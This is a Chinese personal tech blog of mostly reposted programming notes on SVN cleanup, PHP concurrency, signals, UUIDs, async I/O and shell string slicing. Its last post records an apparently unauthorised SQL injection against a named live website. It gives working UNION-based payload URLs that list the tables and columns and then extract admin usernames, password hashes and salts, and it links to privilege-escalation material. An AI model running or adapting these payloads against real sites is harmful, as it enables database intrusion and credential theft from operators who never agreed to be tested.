svn取消版本控制

在网上搜集的,主要方法是删除.svn目录

windows下可以这样:

@echo on
color 2f
mode con: cols=80 lines=25
@REM
@echo Deleting all .svn, please wait......
@rem Delete .svn in current and sub directories
@rem for /r . %%a in (.) do @if exist "%%a\.svn" @echo "%%a\.svn"
@for /r . %%a in (.) do @if exist "%%a\.svn" rd /s /q "%%a\.svn"
@echo SUCCESS!!!
@pause
写个bat文件执行下

linux下就简单了
find ../../svncode/ -type d -name .svn -exec rm -rf {} \;

 

发表在 svn | 留下评论

PHP如何非阻塞批量推送数据

今天看到论坛里面有人问如PHP何批量非阻塞向服务器推送数据,这里大概总结下。

1、最简单的办法:

一个脚本同时跑多次,用参数来跑指定范围。假如要推送10000用户,可以每100个用户运行一个脚本(脚本逻辑就是循环遍历100个用户,串行的发送数据,代码略),并且多个(100)脚本同时运行。

类似:
php task.php 1 100 &
php task.php 101 200 &
php task.php 201 300 &
……..

当然这个方法不是非阻塞的,但是可以批量操作,大大加快处理速度。

2、麻烦点的:如果想要非阻塞并且是HTTP协议的话
可以用下面的代码


3、非阻塞,并且不是HTTP协议的话,需要使用php的socket + stream_select

0)
{
    $read = $sockets;
    $write = $e = array();
    // 等待数据可读
    if(stream_select($read, $write, $e, 10))
    {
        // 循环读数据
        foreach($read as $socket)
        {
           // 这里是服务端返回的数据,需要的话可以循环读
           echo fread($socket, 8192);
           // 数据读取完毕关闭链接,并删除链接
           fclose($socket);
           unset($sockets[(int)$socket]);
        }
    }
}

转载自http://blog.csdn.net/udefined/article/details/23348285

发表在 php, 扒拉代码 | 留下评论

declare是个啥(转载)

看到得问里面有人问php中 declare作用,我回答了下,顺便自己记录下。

一般用法是 declare(ticks=N);
拿declare(ticks=1)来说,这句主要作用有两种:
1、Zend引擎每执行1条低级语句就去执行一次 register_tick_function() 注册的函数。
可以粗略的理解为每执行一句php代码(例如:$num=1;)就去执行下已经注册的tick函数。
一个用途就是控制某段代码执行时间,例如下面的代码虽然最后有个死循环,但是执行时间不会超过5秒。
运行 php timeout.php

  1. <?php
  2. declare(ticks=1);
  3. // 开始时间
  4. $time_start = time();
  5. // 检查是否已经超时
  6. function check_timeout(){
  7.     // 开始时间
  8.     global $time_start;
  9.     // 5秒超时
  10.     $timeout = 5;
  11.     if(time()-$time_start > $timeout){
  12.         exit("超时{$timeout}秒\n");
  13.     }
  14. }
  15. // Zend引擎每执行一次低级语句就执行一下check_timeout
  16. register_tick_function('check_timeout');
  17. // 模拟一段耗时的业务逻辑
  18. while(1){
  19.    $num = 1;
  20. }
  21. // 模拟一段耗时的业务逻辑,虽然是死循环,但是执行时间不会超过$timeout=5秒
  22. while(1){
  23.    $num = 1;
  24. }

2、declare(ticks=1);每执行一次低级语句会检查一次该进程是否有未处理过的信号,测试代码如下:
运行 php signal.php
然后CTL+c 或者 kill -SIGINT PID 会导致运行代码跳出死循环去运行pcntl_signal注册的函数,效果就是脚本exit打印“Get signal SIGINT and exi”退出

  1. <?php
  2. declare(ticks=1);
  3. pcntl_signal(SIGINT, function(){
  4.    exit("Get signal SIGINT and exit\n");
  5. });
  6. echo "Ctl + c or run cmd : kill -SIGINT " . posix_getpid(). "\n" ;
  7. while(1){
  8.   $num = 1;
  9. }
转载自:http://blog.csdn.net/udefined/article/details/24333333
发表在 php, 扒拉代码, 涨姿势 | 留下评论

进程和线程(转载)

进程(process)和线程(thread)是操作系统的基本概念,但是它们比较抽象,不容易掌握。

最近,我读到一篇材料,发现有一个很好的类比,可以把它们解释地清晰易懂。

1.

计算机的核心是CPU,它承担了所有的计算任务。它就像一座工厂,时刻在运行。

2.

假定工厂的电力有限,一次只能供给一个车间使用。也就是说,一个车间开工的时候,其他车间都必须停工。背后的含义就是,单个CPU一次只能运行一个任务。

3.

进程就好比工厂的车间,它代表CPU所能处理的单个任务。任一时刻,CPU总是运行一个进程,其他进程处于非运行状态。

4.

一个车间里,可以有很多工人。他们协同完成一个任务。

5.

线程就好比车间里的工人。一个进程可以包括多个线程。

6.

车间的空间是工人们共享的,比如许多房间是每个工人都可以进出的。这象征一个进程的内存空间是共享的,每个线程都可以使用这些共享内存。

7.

可是,每间房间的大小不同,有些房间最多只能容纳一个人,比如厕所。里面有人的时候,其他人就不能进去了。这代表一个线程使用某些共享内存时,其他线程必须等它结束,才能使用这一块内存。

8.

一个防止他人进入的简单方法,就是门口加一把锁。先到的人锁上门,后到的人看到上锁,就在门口排队,等锁打开再进去。这就叫“互斥锁”(Mutual exclusion,缩写 Mutex),防止多个线程同时读写某一块内存区域。

9.

还有些房间,可以同时容纳n个人,比如厨房。也就是说,如果人数大于n,多出来的人只能在外面等着。这好比某些内存区域,只能供给固定数目的线程使用。

10.

这时的解决方法,就是在门口挂n把钥匙。进去的人就取一把钥匙,出来时再把钥匙挂回原处。后到的人发现钥匙架空了,就知道必须在门口排队等着了。这种做法叫做“信号量”(Semaphore),用来保证多个线程不会互相冲突。

不难看出,mutex是semaphore的一种特殊情况(n=1时)。也就是说,完全可以用后者替代前者。但是,因为mutex较为简单,且效率高,所以在必须保证资源独占的情况下,还是采用这种设计。

11.

操作系统的设计,因此可以归结为三点:

(1)以多进程形式,允许多个任务同时运行;

(2)以多线程形式,允许单个任务分成不同的部分运行;

(3)提供协调机制,一方面防止进程之间和线程之间产生冲突,另一方面允许进程之间和线程之间共享资源。

 

转载自:http://www.ruanyifeng.com/blog/2013/04/processes_and_threads.html

发表在 概念名词 | 留下评论

PHP如何为函数执行设置超时(转载)

如何防止一个函数执行时间过长呢?在PHP里可以用pcntl时钟信号+异常来实现。

代码如下:

<?php
declare(ticks = 1);
function a()
{
 sleep(10);
 echo "a finishi\n";
}
function b()
{
 echo "Stop\n";
}
function c()
{
 usleep(100000);
}
function sig()
{
 throw new Exception;
}
try
{
 pcntl_alarm(1);
 pcntl_signal(SIGALRM, "sig");
 a();
 pcntl_alarm(0);
}
catch(Exception $e)
{
 echo "timeout\n";
}

原理是在函数执行前先设定一个时钟信号,如果函数的执行超过规定时间,信号会被触发,信号处理函数会抛出一个异常,被外层代码捕获。这样就跳出了原来函数的执行,接着执行下面的代码。如果函数在规定的时间内,时钟信号不会触发,在函数结束后清除时钟信号,不会有异常抛出。

发表在 php, 扒拉代码 | 留下评论

uuid的应用(转载)

/**
  * Generates an UUID
  *
  * @author     Anis uddin Ahmad 
  * @param      string  an optional prefix
  * @return     string  the formatted uuid
  */
  function uuid($prefix = '')
  {
    $chars = md5(uniqid(mt_rand(), true));
    $uuid  = substr($chars,0,8) . '-';
    $uuid .= substr($chars,8,4) . '-';
    $uuid .= substr($chars,12,4) . '-';
    $uuid .= substr($chars,16,4) . '-';
    $uuid .= substr($chars,20,12);
    return $prefix . $uuid;
  }  

//Example of using the function -
//Using without prefix.
echo uuid(); //Returns like ‘1225c695-cfb8-4ebb-aaaa-80da344e8352′   

//Using with prefix
echo uuid(‘urn:uuid:’);//Returns like ‘urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344e8352′

*************************************************************************************

也可以直接用sql语句生成如:
直接在insert语句中插入UUID作主键的用法(简便):
insert into Price( Name, UUID, Price, BID) values(‘FEIFEI_TEST’, uuid(), 32, 3);

************************************************************************************

PHP生成uuid 来表示唯一码

uuid是什么?guid是什么?php如何生成uuid?(google 搜索相关内容时使用uuid + mysql得到的结果较uuid+php要多些)

这里有一篇关于UUID的说明 蛮详细

http://mlxia.javaeye.com/blog/279059

以下部分内容为转载:

我唯一还算熟悉的数据库就 算是MySQL了,大概使用MySQL的人,百分之九九以上的人会使用Autoincrement ID做主键,这是可以理解的,因为MySQL的自增ID效率很高,使用也很方便。那么剩下的百分之一的人使用什么做主键呢?可能是自己做的 KeyGenerator,也可能是我们下面要说的UUID。

据说在Oracle的圈子里,如果谁用自增ID做主键是要被鄙视的,主键最自然的选择就是UUID。我不了解Oracle,这些道听途说的结论是否正确不做承诺。

那么我们先看看什么是UUID?简单的说,UUID是指在一台机器上生成的数字,它保证对在同一时空中的所有机器都是唯一的。在UUID的算法中,可能会用到诸如网卡MAC地址,IP,主机名,进程ID等信息以保证其独立性。

如果你的MySQL版本不太老的话,键入 SELECT UUID(); 输出的就是UUID,如下:

mysql> select uuid();
+————————————–+
| uuid()                               |
+————————————–+
| 54b4c01f-dce0-102a-a4e0-462c07a00c5e |
+————————————–+

现在大家应该对UUID有一个比较直观的认识了,我们来看看UUID的优缺点分别是什么。

优点:

能够保证独立性,程序可以在不同的数据库间迁移,效果不受影响。
保证生成的ID不仅是表独立的,而且是库独立的,这点在你想切分数据库的时候尤为重要。

缺点:

比较占地方,和INT类型相比,存储一个UUID要花费更多的空间。
使用UUID后,URL显得冗长,不够友好。

下面针对上述UUID的缺点说说我的看法,比较占地方这个缺点我不是很在乎,现在最不值钱的就是硬盘了,略过此条缺点无妨。至于说使用UUID后,URL 显得不友好,我觉得这多少是你的INT情结造成的惯性思维,其实,和INT类型相比,UUID才是最自然的主键选择,注意,我这里用的是自然这个形容词, 仔细体会一下你能理解我的意思。另外,很多时候,URL本身就不需要友好,比如,一个电子商务网站,按照INT友好的URL说法,她的订单URL大概是下 面这个形式的:/order.php/id/123,我要说明的是,这样是很友好,但是有些太友好了,友好的甚至不安全,比如说,我早晨下一个订单,发现 URL是/order.php/id/1000,晚上再下一个订单发现URL是/order.php/id/2000,那么我就可以估计出此网站一天的订 单数大致是1000左右,甚至能大体估计出它的销售额,而这些数据往往都是重要的商业秘密。使用UUID就没有这个顾虑。

效率?

如果上面说的UUID的所谓缺点都不成立的话,那么是否使用UUID做主键,唯一的问题就是效率了。据说在PostgreSQL等数据库里,都有专门的 UUID类型,在这样的数据库里,使用UUID做主键,效率没有任何问题,可惜在MySQL里没有这样的字段,如果想在MySQL里保存UUID做主键, 一般是使用CHAR(36)来模拟,因为不是一个原生的UUID类型,所以主键的效率到底如何有待测试,另外,UUID做主键的效率和UUID本身的算法 实现也有很大关系。

我本来想在我自己的电脑上插入1000000条数据测试一下看看来着,可惜一测试,硬盘灯就一直亮,让我很担心它会挂,虽然硬盘不值钱,但是我重要的数据都在上面,一旦坏了,损失就大了,所以,测试只好作罢。

至于在MySQL上使用UUID(用char(36)存储)做主键,效率到底如何,我也不知道,抱歉 -_-!!!

如何生成UUID?下面这种方法生成的貌似不是UUID,因为MD5实际上是可能存在重复值的(参考http://www.phpx.com/happy/archiver/tid-56636.html),况且使用随机更不能避免存在重复.所以应直接使用mysql中的uuid函数生成

de> function uuid($prefix = ”)

{

$chars = md5(uniqid(mt_rand(), true));

$uuid     = substr($chars,0,8) . ‘-’;

$uuid .= substr($chars,8,4) . ‘-’;

$uuid .= substr($chars,12,4) . ‘-’;

$uuid .= substr($chars,16,4) . ‘-’;

$uuid .= substr($chars,20,12);

return $prefix . $uuid;

} de>

在mysql中插入uuid使用mysql的uuid()函数

INSERT INTO Table(id,..) VALUES( UUID(), …)

当然也可以用 SELECT UUID() 先得到一个uuid值再插入进去

题外:

可能相比较使用整型做主键,效率稍差,
另外一个问题是可能导致URL太长,比如显示某个id下的分类时
通常这样category.php?cid=2 但是现在可能是category.php?uuid=a93f16c5-9634-102c-824f-3ea0651c5b77
是否能更改为整型做主键

转载自:http://blog.csdn.net/china_skag/article/details/7297957
发表在 mysql, 扒拉代码, 概念名词, 涨姿势 | 留下评论

php异步编程(转载)

并发IO问题一直是服务器端编程中的技术难题,从最早的同步阻塞直接Fork进程,到Worker进程池/线程池,到现在的异步IO、协程。PHP程序员因为有强大的LAMP框架,对这类底层方面的知识知之甚少,本文目的就是详细介绍PHP进行并发IO编程的各种尝试,最后再介绍Swoole的使用,深入浅出全面解析并发IO问题。

多进程/多线程同步阻塞

最早的服务器端程序都是通过多进程、多线程来解决并发IO的问题。进程模型出现的最早,从Unix系统诞生就开始有了进程的概念。最早的服务器端程序一般都是Accept一个客户端连接就创建一个进程,然后子进程进入循环同步阻塞地与客户端连接进行交互,收发处理数据。

多线程模式出现要晚一些,线程与进程相比更轻量,而且线程之间是共享内存堆栈的,所以不同的线程之间交互非常容易实现。比如聊天室这样的程序,客户端连接之间可以交互,比聊天室中的玩家可以任意的其他人发消息。用多线程模式实现非常简单,线程中可以直接向某一个客户端连接发送数据。而多进程模式就要用到管道、消息队列、共享内存,统称进程间通信(IPC)复杂的技术才能实现。

代码实例:

多进程/线程模型的流程是

  1. 创建一个 socket,绑定服务器端口(bind),监听端口(listen),在PHP中用stream_socket_server一个函数就能完成上面3个步骤,当然也可以使用更底层的sockets扩展分别实现。
  2. 进入while循环,阻塞在accept操作上,等待客户端连接进入。此时程序会进入随眠状态,直到有新的客户端发起connect到服务器,操作系统会唤醒此进程。accept函数返回客户端连接的socket
  3. 主进程在多进程模型下通过fork(php: pcntl_fork)创建子进程,多线程模型下使用pthread_create(php: new Thread)创建子线程。下文如无特殊声明将使用进程同时表示进程/线程。
  4. 子进程创建成功后进入while循环,阻塞在recv(php: fread)调用上,等待客户端向服务器发送数据。收到数据后服务器程序进行处理然后使用send(php: fwrite)向客户端发送响应。长连接的服务会持续与客户端交互,而短连接服务一般收到响应就会close。
  5. 当客户端连接关闭时,子进程退出并销毁所有资源。主进程会回收掉此子进程。

 

这种模式最大的问题是,进程/线程创建和销毁的开销很大。所以上面的模式没办法应用于非常繁忙的服务器程序。对应的改进版解决了此问题,这就是经典的Leader-Follower模型。

代码实例:

它的特点是程序启动后就会创建N个进程。每个子进程进入Accept,等待新的连接进入。当客户端连接到服务器时,其中一个子进程会被唤醒,开始处理客户端请求,并且不再接受新的TCP连接。当此连接关闭时,子进程会释放,重新进入Accept,参与处理新的连接。

这个模型的优势是完全可以复用进程,没有额外消耗,性能非常好。很多常见的服务器程序都是基于此模型的,比如Apache、PHP-FPM。

多进程模型也有一些缺点。

  1. 这种模型严重依赖进程的数量解决并发问题,一个客户端连接就需要占用一个进程,工作进程的数量有多少,并发处理能力就有多少。操作系统可以创建的进程数量是有限的。
  2. 启动大量进程会带来额外的进程调度消耗。数百个进程时可能进程上下文切换调度消耗占CPU不到1%可以忽略不接,如果启动数千甚至数万个进程,消耗就会直线上升。调度消耗可能占到CPU的百分之几十甚至100%。

另外有一些场景多进程模型无法解决,比如即时聊天程序(IM),一台服务器要同时维持上万甚至几十万上百万的连接(经典的C10K问题),多进程模型就力不从心了。

还有一种场景也是多进程模型的软肋。通常Web服务器启动100个进程,如果一个请求消耗100ms,100个进程可以提供1000qps,这样的处理能力还是不错的。但是如果请求内要调用外网Http接口,像QQ、微博登录,耗时会很长,一个请求需要10s。那一个进程1秒只能处理0.1个请求,100个进程只能达到10qps,这样的处理能力就太差了。

有没有一种技术可以在一个进程内处理所有并发IO呢?答案是有,这就是IO复用技术。

IO复用/事件循环/异步非阻塞

其实IO复用的历史和多进程一样长,Linux很早就提供了select系统调用,可以在一个进程内维持1024个连接。后来又加入了poll系统调用,poll做了一些改进,解决了1024限制的问题,可以维持任意数量的连接。但select/poll还有一个问题就是,它需要循环检测连接是否有事件。这样问题就来了,如果服务器有100万个连接,在某一时间只有一个连接向服务器发送了数据,select/poll需要做循环100万次,其中只有1次是命中的,剩下的99万9999次都是无效的,白白浪费了CPU资源。

直到Linux 2.6内核提供了新的epoll系统调用,可以维持无限数量的连接,而且无需轮询,这才真正解决了C10K问题。现在各种高并发异步IO的服务器程序都是基于epoll实现的,比如Nginx、Node.js、Erlang、Golang。像Node.js这样单进程单线程的程序,都可以维持超过1百万TCP连接,全部归功于epoll技术。

IO复用异步非阻塞程序使用经典的Reactor模型,Reactor顾名思义就是反应堆的意思,它本身不处理任何数据收发。只是可以监视一个socket句柄的事件变化。

Reactor有4个核心的操作:

  1. add添加socket监听到reactor,可以是listen socket也可以使客户端socket,也可以是管道、eventfd、信号等
  2. set修改事件监听,可以设置监听的类型,如可读、可写。可读很好理解,对于listen socket就是有新客户端连接到来了需要accept。对于客户端连接就是收到数据,需要recv。可写事件比较难理解一些。一个SOCKET是有缓存区的,如果要向客户端连接发送2M的数据,一次性是发不出去的,操作系统默认TCP缓存区只有256K。一次性只能发256K,缓存区满了之后send就会返回EAGAIN错误。这时候就要监听可写事件,在纯异步的编程中,必须去监听可写才能保证send操作是完全非阻塞的。
  3. del从reactor中移除,不再监听事件
  4. callback就是事件发生后对应的处理逻辑,一般在add/set时制定。C语言用函数指针实现,JS可以用匿名函数,PHP可以用匿名函数、对象方法数组、字符串函数名。

Reactor只是一个事件发生器,实际对socket句柄的操作,如connect/accept、send/recv、close是在callback中完成的。具体编码可参考下面的伪代码:

Reactor模型还可以与多进程、多线程结合起来用,既实现异步非阻塞IO,又利用到多核。目前流行的异步服务器程序都是这样的方式:如

  • Nginx:多进程Reactor
  • Nginx+Lua:多进程Reactor+协程
  • Golang:单线程Reactor+多线程协程
  • Swoole:多线程Reactor+多进程Worker

协程是什么

协程从底层技术角度看实际上还是异步IO Reactor模型,应用层自行实现了任务调度,借助Reactor切换各个当前执行的用户态线程,但用户代码中完全感知不到Reactor的存在。

PHP并发IO编程实践

PHP相关扩展

  • Stream:PHP内核提供的socket封装
  • Sockets:对底层Socket API的封装
  • Libevent:对libevent库的封装
  • Event:基于Libevent更高级的封装,提供了面向对象接口、定时器、信号处理的支持
  • Pcntl/Posix:多进程、信号、进程管理的支持
  • Pthread:多线程、线程管理、锁的支持
  • PHP还有共享内存、信号量、消息队列的相关扩展
  • PECL:PHP的扩展库,包括系统底层、数据分析、算法、驱动、科学计算、图形等都有。如果PHP标准库中没有找到,可以在PECL寻找想要的功能。

PHP语言的优劣势

PHP的优点:

  1. 第一个是简单,PHP比其他任何的语言都要简单,入门的话PHP真的是可以一周就入门。C++有一本书叫做《21天深入学习C++》,其实21天根本不可能学会,甚至可以说C++没有3-5年不可能深入掌握。但是PHP绝对可以7天入门。所以PHP程序员的数量非常多,招聘比其他语言更容易。
  2. PHP的功能非常强大,因为PHP官方的标准库和扩展库里提供了做服务器编程能用到的99%的东西。PHP的PECL扩展库里你想要的任何的功能。

另外PHP有超过20年的历史,生态圈是非常大的,在Github可以找到很多代码。

PHP的缺点:

  1. 性能比较差,因为毕竟是动态脚本,不适合做密集运算,如果同样用PHP写再用c++写,PHP版本要比它差一百倍。
  2. 函数命名规范差,这一点大家都是了解的,PHP更讲究实用性,没有一些规范。一些函数的命名是很混乱的,所以每次你必须去翻PHP的手册。
  3. 提供的数据结构和函数的接口粒度比较粗。PHP只有一个Array数据结构,底层基于HashTable。PHP的Array集合了Map,Set,Vector,Queue,Stack,Heap等数据结构的功能。另外PHP有一个SPL提供了其他数据结构的类封装。

所以PHP

  1. PHP更适合偏实际应用层面的程序,业务开发、快速实现的利器
  2. PHP不适合开发底层软件
  3. 使用C/C++、JAVA、Golang等静态编译语言作为PHP的补充,动静结合
  4. 借助IDE工具实现自动补全、语法提示

 

转载自:http://rango.swoole.com/archives/508

用到的源码:https://gist.github.com/matyhtf

发表在 php | 标签为 , | 留下评论

宽字节注入

http://netsecurity.51cto.com/art/201404/435074.htm

发表在 涨姿势 | 留下评论

字符串的截取(转载)

一、Linux shell 截取字符变量的前8位,有方法如下:
1.expr substr “$a” 1 8
2.echo $a|awk ‘{print substr(,1,8)}’
3.echo $a|cut -c1-8
4.echo $
5.expr $a : ‘\(.\\).*’
6.echo $a|dd bs=1 count=8 2>/dev/null
二、按指定的字符串截取
1、第一种方法:
${varible##*string} 从左向右截取最后一个string后的字符串
${varible#*string}从左向右截取第一个string后的字符串
${varible%%string*}从右向左截取最后一个string后的字符串
${varible%string*}从右向左截取第一个string后的字符串
“*”只是一个通配符可以不要
例子:
$ MYVAR=foodforthought.jpg
$ echo ${MYVAR##*fo}
rthought.jpg
$ echo ${MYVAR#*fo}
odforthought.jpg
2、第二种方法:${varible:n1:n2}:截取变量varible从n1到n2之间的字符串。
可以根据特定字符偏移和长度,使用另一种形式的变量扩展,来选择特定子字符串。试着在 bash 中输入以下行:
$ EXCLAIM=cowabunga
$ echo ${EXCLAIM:0:3}
cow
$ echo ${EXCLAIM:3:7}
abunga
这种形式的字符串截断非常简便,只需用冒号分开来指定起始字符和子字符串长度。
三、按照指定要求分割:
比如获取后缀名
ls -al | cut -d “.” -f2
应用心得:
$MYVAR="12|dadg"
echo ${MYVAR##*|}   #打印分隔符后的字符串
dafa
echo ${MYVAR%%|*} #打印分隔符前的字符串
12
发表在 bash, linux | 留下评论

记一次sql注入实战

这个漏洞其实是从乌云上找到的,目的主要是学习理解整个过程。主要是学习目的,不搞破坏。。

http://www.waawo.cn/media-news-no-title.php?id=55

 

数据库基本信息 + 数据库表名
view-source:www.waawo.cn/media-news-no-title.php?id=-55 union all select 111111111111,2,3, ( select GROUP_CONCAT(table_name) from INFORMATION_SCHEMA . tables where TABLE_SCHEMA = concat(char(119),char(97),char(97),char(119),char(111) ) ) ,5,6,7,8,9,10,11,12, concat_ws(0x7c,version(),database(),user()) ,14,15,16 order by 1 desc

数据库管理员表字段
view-source:www.waawo.cn/media-news-no-title.php?id=-55 union all select 111111111111,2,3, (select group_concat(column_name) from information_schema . columns where table_schema = concat(char(119),char(97),char(97),char(119),char(111) ) and table_name = concat( char(101),char(99),char(115),char(95),char(97),char(100),char(109),char(105),char(110),char(95),char(117),char(115),char(101),char(114) ) ) ,5,6,7,8,9,10,11,12, concat_ws(0x7c,version(),database(),user()) ,14,15,16 order by 1 desc

获取管理员表账号密码
view-source:www.waawo.cn/media-news-no-title.php?id=-55 union all select 111111111111,2,3, ( select concat_ws( char(124), group_concat(user_name) , group_concat( password ), group_concat( ec_salt ) ) from waawo . ecs_admin_user ) ,5,6,7,8,9,10,11,12, concat_ws(0x7c,version(),database(),user()) ,14,15,16 order by 1 desc

 

其实漏洞很简单,开发者没有对传输id参数过滤,导致我们可以union all拼接sql,完成数据库、表名、字段的遍历,其实到最后一步我们已经可以知道这个系统其实是基于ecshop开发的了,到密码这一步就不继续了。点到为止

 

如果是linux的话,进入之后可以进一步提权操作 https://www.91ri.org/7911.html

发表在 mysql, php, 漏洞 | 留下评论